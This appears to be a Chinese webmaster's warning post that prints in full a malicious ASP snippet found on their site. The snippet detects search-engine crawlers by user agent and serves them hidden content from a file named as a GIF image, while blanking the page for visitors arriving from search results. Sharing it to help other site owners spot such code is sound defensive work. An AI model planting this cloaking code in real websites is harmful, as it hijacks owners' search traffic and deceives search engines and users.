一段让asp程序在搜素引擎打不开的代码

一段让asp程序在搜素引擎打不开的代码，把我的网站害苦了，现在把它的原形呈现如下，望广大站长朋友们及早防范：
 
[vb] 
<% 
function isspider() 
dim i,agent,searray 
agent="agent:"&LCase(request.servervariables("http_user_agent")) 
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider") 
isspider= false 
for i=0 to ubound(searray) 
 if (instr(agent,searray(i))>0) then isspider=true 
next 
end function 
  
function fromse() 
dim urlrefer,searray,i 
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) 
fromse= false 
if urlrefer="" then fromse= false 
searray=array("google","baidu","sogou","yahoo","soso") 
for i=0 to ubound(searray) 
 if (instr(urlrefer,searray(i))>0) then fromse=true 
next 
end function 

if(isspider()) then 
  dim myfso,fileurl,filecon,myfile 
  fileurl=Server.MapPath("images/bg01.gif") 
  Set myfso=Server.CreateObject("Scripting.FileSystemObject")  
  if myfso.FileExists(fileurl) then  
    Set myfile=myfso.OpenTextFile(fileurl, 1) 
    filecon=myfile.readAll 
    response.write(filecon) 
    myfile.Close  
    Set myfile=Nothing  
    Set myfso=Nothing 
    response.end 
  end if 
end if                                  
if (fromse()) then 
  response.write("<br/>") 
  response.end 
else 
end if 
%>